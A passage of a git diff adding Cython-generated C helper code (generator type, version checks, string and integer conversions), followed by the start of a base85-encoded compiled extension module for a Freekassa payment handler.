NULL, + (char*) PyDoc_STR("Frame of the generator"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_GeneratorType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_iter, (void *)PyObject_SelfIter}, + {Py_tp_iternext, (void *)__Pyx_Generator_Next}, + {Py_tp_methods, (void *)__pyx_Generator_methods}, + {Py_tp_members, (void *)__pyx_Generator_memberlist}, + {Py_tp_getset, (void *)__pyx_Generator_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_GeneratorType_spec = { + __PYX_TYPE_MODULE_PREFIX "generator", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_GeneratorType_slots +}; +#else +static PyTypeObject __pyx_GeneratorType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "generator", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, + 0, + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + (iternextfunc) __Pyx_Generator_Next, + __pyx_Generator_methods, + __pyx_Generator_memberlist, + __pyx_Generator_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Generator_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_GeneratorType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_GeneratorType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_GeneratorType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_GeneratorType_type.tp_iter = PyObject_SelfIter; + __pyx_GeneratorType = __Pyx_FetchCommonType(&__pyx_GeneratorType_type); +#endif + if (unlikely(!__pyx_GeneratorType)) { + return -1; + } + return 0; +} + +/* CheckBinaryVersion */ + static unsigned long __Pyx_get_runtime_version(void) { +#if __PYX_LIMITED_VERSION_HEX >= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/freekassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/freekassa_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..991c5393be70dbf3fd2d9210ef52746da77e80f4 GIT binary patch literal 1036624 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 